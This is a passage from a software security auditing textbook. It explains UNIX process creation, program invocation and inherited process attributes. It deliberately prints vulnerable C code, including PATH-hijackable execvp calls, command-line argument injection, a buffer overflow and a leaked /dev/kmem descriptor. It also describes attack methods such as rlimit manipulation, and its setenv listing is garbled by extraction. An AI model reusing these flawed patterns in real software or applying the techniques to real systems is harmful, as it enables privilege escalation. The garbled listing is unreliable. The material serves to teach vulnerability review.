printf("I'm the parent!\n"); printf("My kid is process number %d\n", pid); break; }; /* parent code here */ If new processes are created only by the kernel duplicating an existing process, there's an obvious chicken-and-egg problem; how did the first process come about if no process existed beforehand to spawn it? However, there is a simple explanation. When a UNIX kernel first starts, it creates one or more special processes manually that help keep the system running smoothly. The first process is called init, and, as mentioned previously, it takes the special process ID of 1. init is synthesized from scratch when the kernel startsit is an Adam in the Garden of Eden, if you will. After that, userland processes are created with fork(). Therefore, almost every process can trace its origins back to a common ancestor, init, with the exception of a few special kernel processes. fork() Variants The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 579 fork() is the primary way processes are created in a UNIX system. There are a few other similar system calls, but their use is generally deprecated or specific to a particular system. In older systems, vfork() was useful for creating a new process without having to suffer the performance hit of replicating its memory. It was typically used for the purpose of spawning a child process to immediately run a new program. As copy-on-write implementations of fork() became pervasive throughout UNIX, vfork() lost its usefulness and is now considered deprecated and bug prone. In some systems, a process created with vfork() has access to the virtual memory of its parent process, and the parent process is suspended from execution until the vfork() child runs a new program or terminates. On other systems, however, vfork() is just a wrapper for fork(), and address spaces aren't shared. rfork() is another variation of fork() from the plan9 OS, although it isn't widely supported on other UNIX variants. It lets users specify the behavior of the forking operation at a more granular level. Using rfork(), a caller can toggle sharing process file descriptor tables, address spaces, and signal actions. clone() is a Linux variant of fork() that also allows callers to specify several parameters of the forking operation. Usually, these more granular process creation system calls are used to create threads, sometimes referred to as "lightweight processes." They enable you to create two or more processes that share a single virtual memory space, equivalent to multiple threads running in a single process. Process Termination Processes can terminate for a number of reasons. They can intentionally end their existence in several ways, including calling the library function exit() or returning out of their main function. These terminations result in the process calling an underlying exit() system call, which causes the kernel to terminate the process and release data structures and memory associated with it. Certain signals can cause processes to terminate as well. The default handling behaviors for many signals is for the recipient process to be terminated. There's also a hard kill signal that can't be ignored or handled by a process. These kill signals can come from other processes or the kernel; a process can even send the signal to itself. Any signal other than the kill and stop signals can be handled by your process, if you want. For example, if your program has a software bug that causes it to dereference a pointer to an unmapped address in memory, a hardware trap is generated that the kernel receives. The kernel then sends your process a signal indicating that a memory access violation has occurredUNIX calls this signal a "segmentation fault." Your process could handle this signal and keep on processing in light of this fault, but the default reaction is for the process to be terminated. There is also a library function abort(), which causes a process to send itself an abort signal, thus terminating the process. Signals are a complex topic area that is covered in depth in Chapter 13(? [????.]), "Synchronization and State." The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 580 fork() and Open Files A child process is a nearly identical copy of its parent process, with only a few small differences. If everything is more or less identical, what happens to the files and resources the parent process already has open when it calls fork()? Intuition tells you that these open files must be available to both processes, which means the kernel must be handling sharing resources between the two processes. To understand this implicit file sharing relationship between a parent and a child, you need to be somewhat familiar with how resources are managed by the kernel on behalf of a process. If you recall, you learned in Chapter 9(? [????.]) that when a process tells the kernel to open a file with the open() system call, the kernel first resolves the provided pathname to an inode by walking through all relevant directory entries. The kernel creates an inode data structure to track this file and asks the underlying file system to fill out that structure. The kernel then places an indirect reference to the inode structure in the process's file descriptor table, and the open() system call returns a file descriptor to the userland process that can be used to reference the file in future system calls. System File Table How the kernel places this "indirect" reference from the process file descriptor table to the inode structure hasn't been explained in much detail yet, but you explore this topic in depth in this section. Keep in mind that this chapter generalizes kernel internals across all UNIX implementations, so explanations capture the general behavior of the common UNIX process maintenance subsystem but it might not match a specific implementation exactly. An open file is tracked by at least two different data structures, and each structure contains a different complementary set of data. The first of these structures is an inode structure, and it contains information about the file as it exists on the disk, including its owner and group, permission bits, and timestamps. The second structure, the open file structure, contains information about how the system is currently using that file, such as the current offset in the file for reading and writing, flags describing how the file is used (append mode, blocking mode, and synchronization), and the access mode specified when the file is first opened (read, write, or read/write). These open file structures (sometimes just called file structures) are maintained in a global table called the system file table, or the open system file table. This table is maintained by the kernel for the purposes of tracking all of the currently open files on the system. Sharing Files The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 581 So what do these data structures have to do with fork()? Take a look at Figure 10-1, which shows the internal file data structures in a UNIX kernel after a fork(). Process 1000 has just forked a child process, process 1010. You can surmise that before the fork(), process 1000 had file descriptor 3 open to one of its configuration files. After the fork, you can see that the child process also has a file descriptor 3, which references the config file. Figure 10-1. File data structures after fork Both file descriptors point to the same open file structure, which tells you that the configuration file was opened with read/write access, and the current offset in the file is the location 0x1020. This open file structure points to the inode structure for the file, where you see that the file has an inode number of 0x456, has permission bits of octal 0644, and is owned by the bin user and bin group. What does that tell you about how the kernel handles open files across a fork()? You can see that child processes automatically get a copy of the parent process's file descriptors, and one non-obvious result of this copying process is that both processes share the same open file structure in the kernel. So if you have a file descriptor open to a particular file, and you create a child process with fork(), your parent process can end up fighting with the child process if both processes try to work with that file. For example, if you're writing several pieces of data to the file in a loop, each time you write a piece, the file offset in the open file structure is increased past the piece you just wrote. If the child process attempts to read in this file from the beginning, it might do an lseek() on the file descriptor to set the file offset to the beginning of the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 582 file. If the child does this while you're in the middle of writing pieces of data, you start inadvertently writing data to the beginning of the file! Along those same lines, if the child changes the file to use a nonblocking interface, suddenly your system calls return with errors such as EAGAIN instead of blocking, as the parent process might expect. As a code auditor, you need to be aware of resources that might be inadvertently available when a fork happens. Bugs involving leaked resources are often difficult to spot because descriptor sharing is an implicit operation the OS performs. Some basic techniques for recognizing vulnerabilities of this nature are described in the "File Descriptors(? [????.])" section later in this chapter. 7.6.3 Program Invocation Program invocation is provided by a flexible programmatic API that's buttressed by even more accommodating programs, such as command shells. History has shown that it's quite easy to shoot yourself in the foot when attempting to run external programs. The following sections explain calling programs directly through the system call interface and calling programs indirectly through an intermediary, such as a command shell or library code. Direct Invocation Processes are a generic data structure that OSs use to represent the single execution of a program. So far, you've seen that new processes are created by copying an existing process with fork(). Now you see how a process can load and run a program. A process typically runs a new program by calling one of the exec family of functions. On most UNIX systems, several variations of these functions are provided by the standard libraries, which all end up using one powerful system call, execve(), which has the following prototype: int execve(const char *path, char *const argv[], char *const envp[]); The first parameter, path, is a pathname that specifies the program to run. The second parameter, argv, is a pointer to command-line arguments for the program. The third argument, envp, is a pointer to environment variables for the program. Note The standard C libraries (libc) supplied with contemporary UNIX-based OSs provide a number of different functions to call a new program directly: execl(), execlp(), execle(), execv(), and execvp(). These functions provide slightly differing interfaces The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 583 to the execve() system call, so when execve() is mentioned in this section, any of these functions should be considered to behave in the same manner. The command-line arguments pointed to by argv are an array of pointers to character strings with a NULL pointer marking the end of the array. Each pointer in the array points to a different command-line argument for the program. By convention, the first argument, known as argument zero, or argv[0], contains the name of the program. This argument is controlled by the person who calls exec, so programs can't place any trust in it. The rest of the arguments are also C strings, and they can contain almost anything without a NUL byte. The environment argument, envp, points to a similarly constructed array of pointers to strings. Environment variables are explained in detail in "Environment Arrays(? [????.])" later in this chapter. Dangerous execve() Variants All exec functions are just variants of the execve() system call, so they should be regarded similarly in terms of process execution issues. Two variants of execve()execvp() and execlp()have an additional security concern. If either function is used with a filename that's missing slashes, it uses the PATH environment variable to resolve the location of the executable. (The PATH variable is discussed in "Common Environment Variables(? [????.])" later in this chapter.) So if either function is invoked without a pathname, users can set PATH to point to an arbitrary location on the file system where they can create a program to run code of their choosing. The following code shows a vulnerable invocation: int print_directory_listing(char *path) { char *av[] = { "ls", "-l", path, NULL }; int rc; rc = fork(); if(rc < 0) return -1; if(rc == 0) execvp("ls", av); return 0; } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 584 If this process is running with special privileges or if environment variables can be set remotely to a program containing this code, setting the PATH variable to something like PATH= runs the /tmp/ls file if it exists. Both execvp() and execlp() have another behavioral quirk that might be exploitable in certain situations. Regardless of whether a full path is supplied in the filename argument, if the call to execve() fails with the return code ENOEXEC (indicating an error loading the binary), the shell is opened to try to run the file. This means all shell metacharacters and environment variables (discussed in more detail in "Indirect Invocation") come into play. Auditing Tip When auditing code that's running with special privileges or running remotely in a way that allows users to affect the environment, verify that any call to execvp() or execlp() is secure. Any situation in which full pathnames aren't specified, or the path for the program being run is in any way controlled by users, is potentially dangerous. The Argument Array When a program is called directly, you need to know how the argument list is built. Most programs process argument flags by using the - switch. Programs that fail to adequately sanitize user input supplied as arguments might be susceptible to argument switches being supplied that weren't intended. David Sacerdote of Secure Networks Inc. (SNI) discovered a way to abuse additional command-line arguments in the vacation program (archived at http://insecure.org/sploits/vacation_program_hole.html), which can be used to automatically respond to incoming e-mails with a form letter saying the person is on vacation. The following code is responsible for sending the response message: /* * sendmessage -- * exec sendmail to send the vacation file to sender */ void sendmessage(myname) char *myname; { FILE *mfp, *sfp; int i; int pvect[2]; char buf[MAXLINE]; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 585 mfp = fopen(VMSG, "r"); if (mfp == NULL) { syslog(LOG_NOTICE, "vacation: no ~%s/%s " "file.\n", myname, VMSG); exit(1); } if (pipe(pvect) < 0) { syslog(LOG_ERR, "vacation: pipe: %s", strerror(errno)); exit(1); } i = vfork(); if (i < 0) { syslog(LOG_ERR, "vacation: fork: %s", strerror(errno)); exit(1); } if (i == 0) { dup2(pvect[0], 0); close(pvect[0]); close(pvect[1]); fclose(mfp); execl(_PATH_SENDMAIL, "sendmail", "-f", myname, from, NULL); syslog(LOG_ERR, "vacation: can't exec %s: %s", _PATH_SENDMAIL, strerror(errno)); _exit(1); } close(pvect[0]); sfp = fdopen(pvect[1], "w"); fprintf(sfp, "To: %s\n", from); while (fgets(buf, sizeof buf, mfp)) fputs(buf, sfp); fclose(mfp); fclose(sfp); } The vulnerability is that myname is taken verbatim from the originating e-mail address of the incoming message and used as a command-line argument when sendmail is run with the execl() function. If someone sends an e-mail to a person on vacation from the address -C/some/file/here, sendmail sees a command-line argument starting with -C. This argument typically specifies an alternative configuration file, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 586 and Sacerdote was able to leverage this to get sendmail to run arbitrary commands on behalf of the vacationing user. Typically, when looking for vulnerabilities of this nature, you must examine what invoked applications do with command-line arguments. Most of the time, they parse option arguments by using the getopt() function. In this case, you need to be aware of these points:  If an option takes an argument, it can be specified in the same string or in separate strings. For example, if the argument -C takes a file parameter, the argv array can contain one entry with just the string -C followed by another entry containing the filename, or it can contain just one entry in the form -C/filename.  If an argument with just two dashes is specified (--), any switches provided after that argument are ignored and treated as regular command-line arguments. For example, the command line ./program f file -- -C file results in the -f switch being processed normally and the -C switch being ignored by getopt(). The first point gives attackers more of a chance to exploit a potential vulnerability. It might be useful when user input hasn't been filtered adequately, but users can specify only a single argument. A bug of this nature existed in old versions of the Linux kernel when it invoked the modprobe application to automatically load kernel modules on a user's behalf. The vulnerable code is shown in Listing 10-1. Listing 10-1. Kernel Probe Vulnerability in Linux 2.2 static int exec_modprobe(void * module_name) { static char * envp[] = { "HOME=/", "TERM=linux", "PATH=/sbin:/usr/sbin:/bin:/usr/bin", NULL }; char *argv[] = { modprobe_path, "-s", "-k", (char*)module_name, NULL }; int i; use_init_file_context(); ... /* Allow execve args to be in kernel space. */ set_fs(KERNEL_DS); /* Go, go, go... */ if (execve(modprobe_path, argv, envp) < 0) { printk(KERN_ERR "kmod: failed to exec %s -s -k %s, errno =" The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 587 " %d\n", modprobe_path, (char*) module_name, errno); return -errno; } return 0; } The Linux kernel would run modprobe in certain circumstances to locate a module for handling a user-specified device. Using the ping utility (a setuid program was required to trigger the vulnerable code path), users could specify a utility with a leading dash, which resulted in modprobe interpreting the value as an argument switch rather than a normal argument. Using the -C switch, local users could exploit this vulnerability to gain root privileges. The second point listed previously gives developers an easy-to-use mechanism for avoiding security problems when building argument lists. The Linux kernel example in Listing 10-1 was fixed by inserting a -- argument (among other things) to prevent future attacks of this nature. When auditing code where a program builds an argument list and calls another program, keep in mind that getopt() interprets only the arguments preceding --. Indirect Invocation Many libraries and language features allow developers to run a program or command by using a command subshell. Generally, these approaches aren't as safe as a straightforward execve(), because command shells are general-purpose applications that offer a lot of flexibility and potentially dangerous extraneous functionality. The issues outlined in this section apply to programs that use a command shell for various purposes and they also apply to shell scripts. The library functions popen() and system() are the most popular C mechanisms for making use of a command subshell. Perl provides similar functionality through its flexible open() function as well as the system() function and backtick operators. Other languages also provide similar functionality; Python has a myriad of os modules, and even Java has the Runtime.getRuntime().exec() method. Metacharacters A shell command line can have a formidable amount of metacharacters. Stripping them all out is difficult unless you use a white-list approach. Metacharacters can be useful to attackers in a number of ways, listed in Table 10-1. Table 10-1. Metacharacter Uses The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 588 Metacharacter Type Explanation Command separators Command separators might be used to specify more commands in a shell invocation than the developer intended. File redirection Redirection operators might be used to trick a program into reading or writing files (or sockets, pipes, and so on) from the system. This might allow users to see contents of files that they shouldn't be able to or even create new files. Evaluation operators Most shells provide evaluation operators that perform some statement or expression and return a result. If users can specify them, they might be able to run arbitrary commands on the system. Variable definitions By specifying new environment variables or being able to include previously defined ones, users might be able to adversely affect the way the shell performs certain function. A good example is redefining the IFS environment variable (discussed later in "Common Environment Variables(? [????.])"). The subject of dealing with shell metacharacters (and associated data filters) was covered in depth in Chapter 8(? [????.]), "Strings and Metacharacters." Globbing In addition to the standard metacharacters a typical shell processes, it also supports the use of special characters for file system access. These characters, called globbing characters, are wildcards that can be used to create a pattern template for locating files based on the specified criteria. Most people use simple globbing patterns on a daily basis, when performing commands such as this one: ls *.c The characters that glob() interprets are ., ?, *, [, ], {, and }. Globbing functionality is inherent in shell interpreters as well as a number of other places, such as FTP daemons. If programs aren't careful to filter out these characters, they might render themselves susceptible to files being accessed that weren't intended. Globbing Security Problems In many circumstances, users can take advantage of globbing, and it doesn't The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 589 represent a security threat, as in FTP. However, because of implementation problems within the glob() function in a number of libc implementations, users have been able to supply malformed pathnames that result in memory corruption vulnerabilitiesboth buffer overflows and double-frees. Anthony Osborne and John McDonald (one of this book's authors) published an advisory for Network Associates (NAI)'s Covert Labs that outlined multiple buffer overflows in several glob() implementations used in FTP daemons. The advisory is archived at www.securityfocus.com/advisories/3202. Environment Issues In addition to the problems with metacharacter and globbing character filters, an application is also at risk because of the shell's inherent interaction with its environment. Environment trust issues are covered in "Environment Arrays(? [????.])" later in this chapter, but they are mentioned here because shells tend to alter their behavior significantly based on certain environment variable settings. Depending on the shell, certain environmental variables can be supplied that cause the shell to read arbitrary files on the file system and, in some cases, execute them. Most modern libc's filter out potentially dangerous environment variables when a setuid root process invokes a shell (such as PATH, all the LD_* variables, and so on). However, this filtering is very basic and might not be sufficient in some cases. In fact, shell behavior can change dramatically in response to a wide variety of environment variables. For example, the sudo application was vulnerable to attack when running shell scripts at one point because of a feature in bash; certain versions of bash search for environment variables beginning with () and then create a function inside the running shell script with the contents of any matching environment variable. (The vulnerability is documented at www.courtesan.com/sudo/alerts/bash_functions.html.) Although this behavior might seem quirky, the point remains that shells frequently expand their functionality in response to certain environment variables. This rapid expansion combined with each shell using slightly different environment variables to achieve similar goals can make it hard for applications to protect themselves adequately. Most applications that deal with environment variable filtering perform a black-list approach rather than a white-list approach to known problem-prone environment variables, so you often find that unanticipated feature enhancements in shell implementations introduce the capability to exploit a script running with elevated privileges. Setuid Shell Scripts Running shell scripts with elevated privileges is always a bad idea. What makes it so dangerous is that the shell's flexibility can sometimes be used to trick the script into doing something it shouldn't. Using metacharacters and globbing, it might be possible The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 590 to cause the script to run arbitrary commands with whatever privileges the shell script is running with. An additional problem with running shell scripts is that they aren't directly invoked. The shell program is invoked with the shell script as an argument, in much the same way execvp() and execlp() work when ENOEXEC is returned. Because of this indirection, symlink attacks might also be possible. 7.6.4 Process Attributes Numerous data structures associated with each process are typically maintained in the system kernel and exposed to end users with varying degrees of transparency. This section isolates the process attributes and behaviors that are most important when evaluating an application's security. The attack surface available to malicious local users invoking a privileged application is largely defined by those process attributes that they are able to directly control. In particular, attributes that are inherited from the invoking application must be handled with exceptional care by the privileged application, as they are essentially in an undefined state. As such, process attribute retention is the initial focus of this section. You will see what kind of attributes a process inherits from its invoker and what kind of a risk that each attribute class represents. The next step is to consider the security impact of process resource limits. This section will show you how resource limits affect the running of a process, and how careful manipulation of these limits can have interesting security consequences. The semantics of file sharing across multiple processes and program executions is also considered, to give you an idea of how implicit file descriptor passing can result in dangerous exposures of sensitive data. You finish up with a study of the process environment array, which contains a series of key/value pairs that are intended to express user and system preferences for the application to utilize at its discretion. Finally, you examine groups of processes used by UNIX systems to implement job control and an interactive terminal user interface. Process Attribute Retention The execve() system call is responsible for loading a new program into process memory and running it. Typically, it involves getting rid of memory mappings and other resources associated with the current program, and then creating a fresh environment in which to run the new program file. From a security standpoint, you need to be aware that the new process inherits certain attributes of the old one, which are as follows: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 591  File descriptors File descriptors usually get passed on from the old process to the new process. Potential problem areas are discussed shortly in the "File Descriptors" section.  Signal masks (qualified) The new process loses all signal handlers that were installed in by the previous process but retains the same signal mask. Signals are explained in Chapter 13(? [????.]), "Synchronization and State."  Effective user ID If the program is setuid, the effective user ID becomes the user ID of the program file owner. Otherwise, it stays the same across the execution.  Effective group ID If the program is setgid, the effective group ID becomes the group ID of the program file group. Otherwise, it stays the same across the execution.  Saved set-user-ID This attribute is set to the value of the effective user ID after any setuid processing has been completed.  Saved set-group-ID This attribute is set to the value of the effective group ID after any setgid processing has been completed.  Real user ID This attribute is preserved across the execution.  Real group ID This attribute is preserved across the execution.  Process ID, parent process ID, and process group ID These attributes don't change across an execve() call.  Supplemental groups Any supplemental group privileges the process is running with are retained across a call to execve().  Working directory The working directory of the new process is the same as that of the old process.  Root directory The root directory of the new process is the same as that of the old process. This is particularly relevant for processes running in an environment restricted by chroot-style mechanisms.  Controlling terminal The new process inherits the controlling terminal of the old process.  Resource limits Resource limits enforce maximum limits for accessing system resources such as files, stack and data sizes, and number of pending core file sizes. They are discussed in the next section.  Umask This attribute is used to derive a set of default permissions applied to new files the process creates. Security issues related to umask settings are described in Chapter 9(? [????.]). Many attributes listed here can be the source of potential vulnerabilities when the old and new processes run with different privilegesthat is, when a privileged process is called or when a privileged process drops its permissions and calls an unprivileged application. Bear in mind that the following discussion focuses on the most common scenarios a program might encounter when traversing an execve(). There might be other situations in which privileged applications honor specific attributes in such a way that they're exploitable. Resource Limits The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 592 Resource limits (abbreviated as "rlimits") are a process-specific set of attributes that enforce restrictions on the system resources that a process may use. The geTRlimit() and setrlimit() functions allow a process to examine and modify (to a certain extent) its own resource limits. There are multiple resources for which each process has defined limits. For each defined system resource a process has two associated resource values: a soft limit and a hard limit. The soft limit value is more of a warning threshold than a limit, in that the process may not exceed it but it is free to change the soft limit up or down as it pleases. In fact, a process is free to move the soft limit so that it's any value between zero and its hard limit. Conversely, a hard limit represents the absolute maximum resource usage that a process is allowed. A normal process can change its hard limit, but it can only lower it, and lowering a hard limit is irreversible. Superuser processes, however, can also raise hard limits. The following list of supported resource limits can be called and set via setrlimit() and getrlimit() in Linux; other UNIX systems support some or all of these values:  RLIMIT_CORE Maximum size in bytes of a core file that can be generated by the process. If this value is set to 0, the process doesn't dump the core file.  RLIMIT_CPU Maximum amount of CPU time in seconds that the process can use. If this time limit is exceeded, the process is sent the SIGXCPU signal, which terminates the process by default.  RLIMIT_DATA Maximum size in bytes of the data segment for the process. It includes the heap as well as static variables (both initialized and uninitialized).  RLIMIT_FSIZE Maximum size in bytes that can be written to a file. Any file opened by the process for writing can't exceed this size. Any attempts to write to files that exceed this size result in the SIGXFSZ signal being sent to the process, which causes termination by default.  RLIMIT_MEMLOCK Specifies the maximum number of bytes that can be locked in physical memory at one time.  RLIMIT_NOFILE Specifies the maximum number of files a process can have open at one time.  RLIMIT_NPROC Specifies the maximum amount of processes that specific user can run.  RLIMIT_OFILE The BSD version of RLIMIT_NOFILE.  RLIMIT_RSS Specifies the resident set size, which is the maximum number of virtual pages residing in physical memory.  RLIMIT_STACK Specifies the maximum size in bytes for the process stack. Any attempt to expand the stack beyond this size generates a segmentation fault (SIGSEGV), which typically terminates the process.  RLIMIT_VMEM Maximum bytes in the mapped address space. Rlimits are useful for developers to curtail potentially risky activities in secure programs, such as dumping memory to a core file or falling prey to denial-of-service attacks. However, rlimits also have a dark side. Users can set fairly tight limits on a process and then run a setuid or setgid program. Rlimits are cleared out when a process does a fork(), but they survive the exec() family of calls, which can be used The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 593 to force a failure in a predetermined location in the code. The reason that setting limits is so important is that developers often don't expect resources to be exhausted; as a result, even if they do handle the error to some degree, the error-handling code is usually less guarded than more well-traveled code paths. When developers do devote effort to securing error handling code, it is usually focused on dealing with input errors, so they rarely devote much effort to handling resource exhaustion securely. For example, take a look at Listing 10-2 taken from the BSD setenv() implementation. Listing 10-2. Setenv() Vulnerabilty in BSD int setenv(name, value, rewrite) register const char *name; register const char *value; int rewrite; { extern char **environ; static int alloced; /* if allocated space before */ register char *C; int l_value, offset; if (*value == '=') /* no '='alloced = 1; /* copy old entries into it */ P = (char **)malloc((size_t)(sizeof(char *) * (cnt + 2))); if (!P) return (-1); bcopy(environ, P, cnt * sizeof(char *)); environ = P; } environ[cnt + 1] = NULL; Obviously, it's unlikely for any of these calls to malloc() to fail, and their failure certainly isn't expected. Say alloced is set to 0 and malloc() does fail, however (shown in the bolded code lines). In this case, alloced will be set to 1 to indicate that the environment is allocated dynamically, but environ is never updated because the call to malloc() failed. Therefore, subsequent calls to setenv() cause the original stack buffer that environ still references to be passed as an argument to realloc() as if it is a heap buffer! Although it might be possible for users to exhaust resources naturally, triggering these code paths can often be complicated, and that's where setting resource limits comes in. Say you want a call to malloc() to fail at a certain point in the code; this The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 594 might not even be possible if the program hasn't dealt with enough input data yet. Even if it has, because malloc() occurs so often, making a specific call fail is difficult. Using setrlimit(), attackers can have some control over the amount of total memory the process can consume, which gives them a chance to trigger the vulnerable code path fairly accurately. Michael Zalewski, a noted security researcher, noticed a similar problem in the way that crontab functions (archived at http://seclists.org/bugtraq/1998/Feb/0018.html). When crontab first starts, it creates a root-owned temporary file in the crontab directory. It reads the user's crontab file and copies it to the temporary file. When the copy is completed, crontab renames this temporary file with the user's name so that the cron daemon parses it. Zalewski noticed that if you submit a file large enough to reach the resource limit for the file size, the soft limit signal kills crontab while it's still writing the file, before it can rename or unlink the temporary file. These temporary files stay lodged in the crontab directory and evade quotas because they are owned by root. Rafal Wojtczuk explained in a bugtraq post how he was able to exploit a problem in old versions of the Linux dynamic loader. Take a look at the following code: int fdprintf(int fd, const char *fmt, ...) { va_list args; int i; char buf[1024]; va_start(args, fmt); i=vsprintf(buf,fmt,args); va_end(args); write(fd, buf, i); return i; } ... static int try_lib(char *argv0, char *buffer, char *dir, char *lib) { int found; strcpy(buffer, dir); if (lib != NULL) { strcat(buffer, "/"); strcat(buffer, lib); } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 595 if (!(found = !uselib(buffer))) { if (errno != ENOENT) { fdprintf(2, "%s: can't load library '%s'\n", argv0, buffer); fdprintf(2, "\t%s\n", strerror(errno)); } } return found; } The TRy_lib() function is called by the dynamic loader to see whether a library file is present. It constructs the pathname and then attempts to call uselib(), which is a Linux system call that loads a shared library. uselib() returns errors similar to open(), such as ENFILE. If the shared library file can't be opened, the loader constructs an error message using fdprintf(). This function obviously has a buffer overflow with its use of vsprintf() to print into the 1024-byte stack buffer buf. If users can trigger the error that results in a call to fdprintf() and supply a long argv0 string when loading a setuid binary, they are able to exploit the overflow. To exploit this error, Wojtczuk had to time it so that the system consumed the total limit of file descriptors right before the loader attempted to load the library. He came up with a clever attack: He used file locking and the close-on-exec flag to ensure that his exploit program ran immediately after the exec() system call was completed and before the kernel invoked the dynamic loader. His exploit program then sent a SIGSTOP to the setuid program that ran, consumed all available file descriptors, and then sent a SIGCONT. When processing returned to the dynamic loader, no file descriptors were left to be allocated, causing the error message to be printed and the buffer overflow to occur. In addition, a program that writes data to a sensitive file might be exploitable if rlimits can be used to induce unexpected failure conditions. RLIMIT_FSIZE enforces a maximum limit on how many bytes a file can be that a process writes to. For example, setting this value to 5 means that any write() operation to a file will fail once the file becomes larger than 5 bytes in length. A single write() on a new file, therefore, results in five bytes being written to the file (and write() successfully returns 5). Any subsequent writes to the same file fail, and a SIGXFSZ signal is sent to the process, which will terminate if this signal doesn't have a handler installed. A file being appended to fails when its total size exceeds the value set in RLIMIT_FSIZE. If the file is already larger than the limit when it's opened, the first write() fails. Because signal masks are also inherited over an exec() system call, you can have a privileged program ignore the SIGXFSZ signal and continue processing. With the combination of The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 596 setting a signal mask and imposing a file resource limit (RLIMIT_FSIZE), you can arbitrarily cause file writes to fail at any place you choose. For example, consider a setuid root program that does the following: struct entry { char name[32]; char password[256]; struct entry *next; }; int write_entries(FILE *fp, struct entry *list) { struct entry *ent; for(ent = list; ent; ent = ent->next) fprintf(fp, "%s:%s\n", ent->name, ent->password); return 1; } This code iterates through a linked list of username/password pairs and prints them to an output file. By using the setrlimit() function to set RLIMIT_FSIZE, you can force fprintf() to print only a certain number of bytes to a file. This technique might be useful for cutting an entry off just after the username: part has been written on a line, thus causing the password to be truncated. Auditing Tip Carefully check for any privileged application that writes to a file without verifying whether writes are successful. Remember that checking for an error when calling write() might not be sufficient; they also need to check whether the amount of bytes they wrote were successfully stored in their entirety. Manipulating this application's rlimits might trigger a security vulnerability by cutting the file short at a strategically advantageous offset. Often code reviewers and developers alike tend to disregard code built to handle an error condition caused by resource exhaustion automatically, because they don't consider the possibility that users can trigger those code paths. In short, they forget about setting resource limits. When you're auditing applications that interact with system resources, make sure you address this question: "If I somehow cause a failure condition, can I leverage that condition to exploit the program?" The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 597 Auditing Tip Never assume that a condition is unreachable because it seems unlikely to occur. Using rlimits is one way to trigger unlikely conditions by restricting the resources a privileged process is allowed to use and potentially forcing a process to die when a system resource is allocated where it usually wouldn't be. Depending on the circumstances of the error condition you want to trigger, you might be able to use other methods by manipulating the program's environment to force an error. File Descriptors Many security-related aspects of UNIX are properties of how file descriptors behave across process creation and execution. You know that file descriptors are duplicated when a process is forked, and you've seen how the processes end up sharing their access to an underlying file object through these duplicated file descriptors. A process can also explicitly make a copy of a file descriptor, which results in the same underlying semantics as a file descriptor duplicated through forking. This copying is usually done with the dup(), dup2(), or fcntl() system calls. Processes normally pass file descriptors on to their children via fork(), but UNIX does provide ways for file descriptors to be shared with unrelated processes by using IPC. Interested readers can refer to W.R. Stephen's coverage of UNIX domain sockets in Advanced Programming in the Unix Environment (Addison-Wesley, 1992(? [????.])). File Sharing Whether process descriptors are duplicated through fork() or the dup() family of calls, you end up with multiple file descriptors across one or more processes that refer to the same open file object in the kernel. Consequently, all these processes share the same access flags and internal file pointer to that file. If multiple processes in a system open the same file with open(), they have their own open file structures. Therefore, they have their own file position pointers and could have different access modes and flags set on their interface with the file. They are still working with the same file, so changes to file contents and properties kept in the file's inode structure still affect a file's concurrent users. You can see an example in Figure 10-2, which shows two processes that aren't related to each other. Both processes have the password file open. Process 2000 has it open as its third file descriptor, and it opened the password file for read-only access, shown in the associated open file structure. The process on the right, process 3200, has the password file for both read and write access and has advanced its file pointer to the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 598 location 0x33. The two processes have different levels of access to the password file, and they have independent file pointers that track their location in the file. Figure 10-2. Independent opens of the same file The access a process has to a file is determined when that file is opened. In Figure 10-2, process 3200 opened the password file with read/write access, so it has a file descriptor and open file pointer representing that information. If someone renames the password file, changes its permissions to octal 0000, changes its owner and group to arbitrary people, and even deletes it from the file system, process 3200 still has an open descriptor to that file that allows it to read and write. Close-on-Exec File descriptors are retained in a process across the execution of different programs, unless the file descriptors are especially marked for closure. This behavior might not be quite what you'd expect, as UNIX tends to start most other aspects of a process over with a clean slate when a new program runs. UNIX does allow developers to mark certain file descriptors as close-on-exec, which means they are closed automatically if the process runs a new program. Close-on-exec can be a useful precaution for sensitive or critical files that developers don't want to be inherited by a subprogram. The file descriptor is usually marked with the fcntl() system call, and the kernel makes a note of it in the process descriptor table for the process. For applications that spawn new processes at any stage, always check to see whether this step is taken when it opens files. It is also useful to make a note of those persistent The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 599 files that aren't marked to close when a new program starts. In the next section, you will see that haphazardly leaving these files around can have interesting consequences. File Descriptor Leaks The possible actions a process can perform on a file descriptor are determined when the file descriptor is first created. To put it another way, security checks are performed only once, when the process initially creates a file descriptor by opening or creating a resource. If you can get access to a file descriptor that was opened with write access to a critical system file, you can write to that file regardless of your effective user ID or other system privileges. Therefore, programs that work with file descriptors to security-sensitive resources should close their descriptors before running any user-malleable code. For example, take a look at a hypothetical computer game that runs with the privileges necessary to open kernel memory: int kfd; pid_t p; char *initprog; kfd = safe_open("/dev/kmem", O_RDWR); init_video_mem(kfd); if ((initprog=getenv("CONTROLLER_INIT_PROGRAM"))) { if ((p=safe_fork())) /* PARENT */ { wait_for_kid(p); g_controller_status=CONTROLLER_READY; } else /* CHILD */ { drop_privs (); execl(initprog, "conf", NULL); exit(0); /* unreached */ } } /* main game loop */ ... This game first opens direct access to the system's memory via the device driver accessible at /dev/kmem. It uses this access to directly modify memory mapped to the video card for the purposes of performance. The game can also run an external The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 600 program to initialize a game controller, which users specify in the environment variable CONTROLLER_INIT_PROGRAM. The program permanently drops privileges before running this 